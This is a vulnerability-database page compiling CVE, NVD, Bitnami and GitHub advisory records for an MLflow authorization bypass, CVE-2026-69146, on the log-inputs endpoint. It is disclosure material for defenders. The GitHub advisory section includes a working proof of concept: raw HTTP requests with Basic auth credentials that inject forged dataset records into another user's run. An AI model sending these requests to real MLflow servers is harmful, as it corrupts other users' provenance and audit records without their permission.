Vulnerability-Lookup

CVE-2026-69146 (GCVE-0-2026-69146)

Vulnerability from cvelistv5 – Published: 2026-08-17 21:22 – Updated: 2026-08-18 18:16

Title

MLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth

Summary

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any authenticated user to call POST /api/2.0/mlflow/runs/log-inputs for another user's run_id and inject attacker-controlled DatasetInput records into the dataset_inputs lineage metadata without UPDATE permission. This issue is fixed in version 3.15.0.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-18 18:16 UTC

CWE

CWE-862 - Missing Authorization

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/mlflow/mlflow/security/advisor…	x_refsource_CONFIRM
https://github.com/mlflow/mlflow/pull/24291	x_refsource_MISC
https://github.com/mlflow/mlflow/commit/5c34aec56…	x_refsource_MISC
https://github.com/mlflow/mlflow/releases/tag/v3.15.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
mlflow	mlflow	Affected: < 3.15.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-69146",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-18T18:16:38.648254Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-18T18:16:46.326Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "mlflow",
          "vendor": "mlflow",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.15.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any authenticated user to call POST /api/2.0/mlflow/runs/log-inputs for another user\u0027s run_id and inject attacker-controlled DatasetInput records into the dataset_inputs lineage metadata without UPDATE permission. This issue is fixed in version 3.15.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-17T21:22:42.240Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5"
        },
        {
          "name": "https://github.com/mlflow/mlflow/pull/24291",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mlflow/mlflow/pull/24291"
        },
        {
          "name": "https://github.com/mlflow/mlflow/commit/5c34aec5669e2386b38b5ee0855cd61174e27693",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mlflow/mlflow/commit/5c34aec5669e2386b38b5ee0855cd61174e27693"
        },
        {
          "name": "https://github.com/mlflow/mlflow/releases/tag/v3.15.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/mlflow/mlflow/releases/tag/v3.15.0"
        }
      ],
      "source": {
        "advisory": "GHSA-3p64-6gvh-82v5",
        "discovery": "UNKNOWN"
      },
      "title": "MLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-69146",
    "datePublished": "2026-08-17T21:22:42.240Z",
    "dateReserved": "2026-08-03T15:20:30.218Z",
    "dateUpdated": "2026-08-18T18:16:46.326Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-69146",
      "date": "2026-09-17",
      "epss": "0.00221",
      "percentile": "0.12787"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-69146\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-08-17T22:17:26.243\",\"lastModified\":\"2026-08-18T19:17:02.453\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any authenticated user to call POST /api/2.0/mlflow/runs/log-inputs for another user\u0027s run_id and inject attacker-controlled DatasetInput records into the dataset_inputs lineage metadata without UPDATE permission. This issue is fixed in version 3.15.0.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"mlflow\",\"product\":\"mlflow\",\"versions\":[{\"version\":\"\u003c 3.15.0\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N\",\"baseScore\":6.5,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.8,\"impactScore\":3.6}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-08-18T18:16:38.648254Z\",\"id\":\"CVE-2026-69146\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-862\"}]}],\"references\":[{\"url\":\"https://github.com/mlflow/mlflow/commit/5c34aec5669e2386b38b5ee0855cd61174e27693\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/mlflow/mlflow/pull/24291\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/mlflow/mlflow/releases/tag/v3.15.0\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-69146\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-08-18T18:16:38.648254Z\"}}}], \"references\": [{\"url\": \"https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-08-18T18:16:22.744Z\"}}], \"cna\": {\"title\": \"MLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth\", \"source\": {\"advisory\": \"GHSA-3p64-6gvh-82v5\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 6.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"mlflow\", \"product\": \"mlflow\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 3.15.0\"}]}], \"references\": [{\"url\": \"https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5\", \"name\": \"https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/mlflow/mlflow/pull/24291\", \"name\": \"https://github.com/mlflow/mlflow/pull/24291\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/mlflow/mlflow/commit/5c34aec5669e2386b38b5ee0855cd61174e27693\", \"name\": \"https://github.com/mlflow/mlflow/commit/5c34aec5669e2386b38b5ee0855cd61174e27693\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/mlflow/mlflow/releases/tag/v3.15.0\", \"name\": \"https://github.com/mlflow/mlflow/releases/tag/v3.15.0\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any authenticated user to call POST /api/2.0/mlflow/runs/log-inputs for another user\u0027s run_id and inject attacker-controlled DatasetInput records into the dataset_inputs lineage metadata without UPDATE permission. This issue is fixed in version 3.15.0.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-862\", \"description\": \"CWE-862: Missing Authorization\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-08-17T21:22:42.240Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-69146\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-08-18T18:16:46.326Z\", \"dateReserved\": \"2026-08-03T15:20:30.218Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-08-17T21:22:42.240Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

bit-mlflow-2026-69146

Vulnerability from bitnami_vulndb

Published

2026-08-21 08:50

Modified

2026-08-21 09:11

Summary

MLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth

Details

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Bitnami",
        "name": "mlflow",
        "purl": "pkg:bitnami/mlflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.15.0"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
          "type": "CVSS_V3"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69146"
  ],
  "database_specific": {
    "cpes": [
      "cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:node.js:*:*"
    ],
    "severity": "Medium"
  },
  "details": "MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any authenticated user to call POST /api/2.0/mlflow/runs/log-inputs for another user\u0027s run_id and inject attacker-controlled DatasetInput records into the dataset_inputs lineage metadata without UPDATE permission. This issue is fixed in version 3.15.0.",
  "id": "BIT-mlflow-2026-69146",
  "modified": "2026-08-21T09:11:01.118Z",
  "published": "2026-08-21T08:50:12.154Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/commit/5c34aec5669e2386b38b5ee0855cd61174e27693"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/pull/24291"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/releases/tag/v3.15.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69146"
    }
  ],
  "schema_version": "1.6.2",
  "summary": "MLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth"
}

FKIE_CVE-2026-69146

Vulnerability from fkie_nvd - Published: 2026-08-17 22:17 - Updated: 2026-08-18 19:17

Severity

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/mlflow/mlflow/commit/5c34aec5669e2386b38b5ee0855cd61174e27693
	security-advisories@github.com	https://github.com/mlflow/mlflow/pull/24291
	security-advisories@github.com	https://github.com/mlflow/mlflow/releases/tag/v3.15.0
	security-advisories@github.com	https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "mlflow",
          "vendor": "mlflow",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.15.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any authenticated user to call POST /api/2.0/mlflow/runs/log-inputs for another user\u0027s run_id and inject attacker-controlled DatasetInput records into the dataset_inputs lineage metadata without UPDATE permission. This issue is fixed in version 3.15.0."
    }
  ],
  "id": "CVE-2026-69146",
  "lastModified": "2026-08-18T19:17:02.453",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-69146",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-18T18:16:38.648254Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-17T22:17:26.243",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mlflow/mlflow/commit/5c34aec5669e2386b38b5ee0855cd61174e27693"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mlflow/mlflow/pull/24291"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mlflow/mlflow/releases/tag/v3.15.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-3P64-6GVH-82V5

Vulnerability from github – Published: 2026-08-17 21:59 – Updated: 2026-08-17 21:59

Summary

MLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth

Details

Summary

When MLflow is deployed with the built-in basic-auth plugin (--app-name basic-auth), any authenticated user can inject arbitrary dataset records into another user's run by calling POST /api/2.0/mlflow/runs/log-inputs. The LogInputs proto handler is absent from the BEFORE_REQUEST_HANDLERS map in mlflow/server/auth/__init__.py, so the before-request hook skips authorization entirely and the request succeeds. Standard write endpoints on the same run -- such as POST /api/2.0/mlflow/runs/log-metric -- correctly return HTTP 403.

Details

MLflow's basic-auth app gates every HTTP handler through a before-request hook (_before_request) that looks up the relevant permission validator in BEFORE_REQUEST_VALIDATORS. Validators are built from the BEFORE_REQUEST_HANDLERS dictionary, which maps each protobuf request class to a callable. When a class is absent from the dict (or mapped to None), get_before_request_handler returns None, and the resulting entry in BEFORE_REQUEST_VALIDATORS is (path, method): None.

Inside _before_request:

# mlflow/server/auth/__init__.py  _before_request()
if validator := _find_validator(request):   # None is falsy -- branch skipped
    if not validator():
        return make_forbidden_response()
elif _is_proxy_artifact_path(request.path):  # not a proxy path
    ...
# falls through: any authenticated request is allowed

The LogInputs protobuf class is not present in BEFORE_REQUEST_HANDLERS:

# mlflow/server/auth/__init__.py  BEFORE_REQUEST_HANDLERS dict
# LogInputs is absent; all run-write operations below ARE present:
LogBatch: validate_can_update_run,
LogMetric: validate_can_update_run,
SetTag:    validate_can_update_run,
LogParam:  validate_can_update_run,
# LogInputs: <missing>

The route /api/2.0/mlflow/runs/log-inputs (and the identical /ajax-api/ variant) therefore admits any valid credential, regardless of which experiment or run is targeted. The LogInputs handler writes DatasetInput records directly to the run's lineage table without any ownership check.

PoC

Prerequisites: MLflow v3.13.0 running with --app-name basic-auth. Two accounts: alice (creates experiment 2 and run A) and bob (creates experiment 4 and run B).

Confirm the authorized endpoint correctly denies alice's write to bob's run:

POST /api/2.0/mlflow/runs/log-metric HTTP/1.1
Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM=   (alice:alice_password123)
Content-Type: application/json

{"run_id": "<bob_run_id>", "key": "test", "value": 1.0, "timestamp": 0, "step": 0}

Response: HTTP 403 Permission denied

Inject a dataset record into bob's run as alice:

POST /api/2.0/mlflow/runs/log-inputs HTTP/1.1
Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM=   (alice:alice_password123)
Content-Type: application/json

{"run_id": "<bob_run_id>", "datasets": [{"dataset": {"name": "ATTACKER_injected", "digest": "evil123", "profile": "attacker_controlled"}}]}

Response: HTTP 200 {}

Confirm injection persisted:

GET /api/2.0/mlflow/runs/get?run_id=<bob_run_id> HTTP/1.1
Authorization: Basic Ym9iOmJvYl9wYXNzd29yZF9uZXcxMjM=   (bob:bob_password_new123)

Response: HTTP 200 -- dataset_inputs array contains {"name":"ATTACKER_injected","digest":"evil123","profile":"attacker_controlled"}.

Impact

Any authenticated MLflow user can corrupt the dataset lineage metadata of any other user's run. In ML compliance workflows, dataset provenance records are audit evidence for model reproducibility and regulatory review. Injecting fake or misleading dataset entries into a competitor's runs can silently invalidate audit trails, cause misattribution of model training data, or introduce confusion about which datasets were used to train a model. The attacker needs only a valid credential; no elevated permissions are required.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mlflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T21:59:01Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWhen MLflow is deployed with the built-in basic-auth plugin (`--app-name basic-auth`), any authenticated user can inject arbitrary dataset records into another user\u0027s run by calling `POST /api/2.0/mlflow/runs/log-inputs`. The `LogInputs` proto handler is absent from the `BEFORE_REQUEST_HANDLERS` map in `mlflow/server/auth/__init__.py`, so the before-request hook skips authorization entirely and the request succeeds. Standard write endpoints on the same run -- such as `POST /api/2.0/mlflow/runs/log-metric` -- correctly return HTTP 403.\n\n### Details\n\nMLflow\u0027s basic-auth app gates every HTTP handler through a before-request hook (`_before_request`) that looks up the relevant permission validator in `BEFORE_REQUEST_VALIDATORS`. Validators are built from the `BEFORE_REQUEST_HANDLERS` dictionary, which maps each protobuf request class to a callable. When a class is absent from the dict (or mapped to `None`), `get_before_request_handler` returns `None`, and the resulting entry in `BEFORE_REQUEST_VALIDATORS` is `(path, method): None`.\n\nInside `_before_request`:\n\n```python\n# mlflow/server/auth/__init__.py  _before_request()\nif validator := _find_validator(request):   # None is falsy -- branch skipped\n    if not validator():\n        return make_forbidden_response()\nelif _is_proxy_artifact_path(request.path):  # not a proxy path\n    ...\n# falls through: any authenticated request is allowed\n```\n\nThe `LogInputs` protobuf class is not present in `BEFORE_REQUEST_HANDLERS`:\n\n```python\n# mlflow/server/auth/__init__.py  BEFORE_REQUEST_HANDLERS dict\n# LogInputs is absent; all run-write operations below ARE present:\nLogBatch: validate_can_update_run,\nLogMetric: validate_can_update_run,\nSetTag:    validate_can_update_run,\nLogParam:  validate_can_update_run,\n# LogInputs: \u003cmissing\u003e\n```\n\nThe route `/api/2.0/mlflow/runs/log-inputs` (and the identical `/ajax-api/` variant) therefore admits any valid credential, regardless of which experiment or run is targeted. The `LogInputs` handler writes `DatasetInput` records directly to the run\u0027s lineage table without any ownership check.\n\n### PoC\n\nPrerequisites: MLflow v3.13.0 running with `--app-name basic-auth`. Two accounts: alice (creates experiment 2 and run A) and bob (creates experiment 4 and run B).\n\n1. Confirm the authorized endpoint correctly denies alice\u0027s write to bob\u0027s run:\n\n```\nPOST /api/2.0/mlflow/runs/log-metric HTTP/1.1\nAuthorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM=   (alice:alice_password123)\nContent-Type: application/json\n\n{\"run_id\": \"\u003cbob_run_id\u003e\", \"key\": \"test\", \"value\": 1.0, \"timestamp\": 0, \"step\": 0}\n```\n\nResponse: HTTP 403 Permission denied\n\n2. Inject a dataset record into bob\u0027s run as alice:\n\n```\nPOST /api/2.0/mlflow/runs/log-inputs HTTP/1.1\nAuthorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM=   (alice:alice_password123)\nContent-Type: application/json\n\n{\"run_id\": \"\u003cbob_run_id\u003e\", \"datasets\": [{\"dataset\": {\"name\": \"ATTACKER_injected\", \"digest\": \"evil123\", \"profile\": \"attacker_controlled\"}}]}\n```\n\nResponse: HTTP 200 {}\n\n3. Confirm injection persisted:\n\n```\nGET /api/2.0/mlflow/runs/get?run_id=\u003cbob_run_id\u003e HTTP/1.1\nAuthorization: Basic Ym9iOmJvYl9wYXNzd29yZF9uZXcxMjM=   (bob:bob_password_new123)\n```\n\nResponse: HTTP 200 -- dataset_inputs array contains `{\"name\":\"ATTACKER_injected\",\"digest\":\"evil123\",\"profile\":\"attacker_controlled\"}`.\n\n### Impact\n\nAny authenticated MLflow user can corrupt the dataset lineage metadata of any other user\u0027s run. In ML compliance workflows, dataset provenance records are audit evidence for model reproducibility and regulatory review. Injecting fake or misleading dataset entries into a competitor\u0027s runs can silently invalidate audit trails, cause misattribution of model training data, or introduce confusion about which datasets were used to train a model. The attacker needs only a valid credential; no elevated permissions are required.",
  "id": "GHSA-3p64-6gvh-82v5",
  "modified": "2026-08-17T21:59:01Z",
  "published": "2026-08-17T21:59:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/pull/24291"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/commit/5c34aec5669e2386b38b5ee0855cd61174e27693"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mlflow/mlflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/releases/tag/v3.15.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-69146 (GCVE-0-2026-69146)

bit-mlflow-2026-69146

Vulnerability from bitnami_vulndb

FKIE_CVE-2026-69146

GHSA-3P64-6GVH-82V5

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour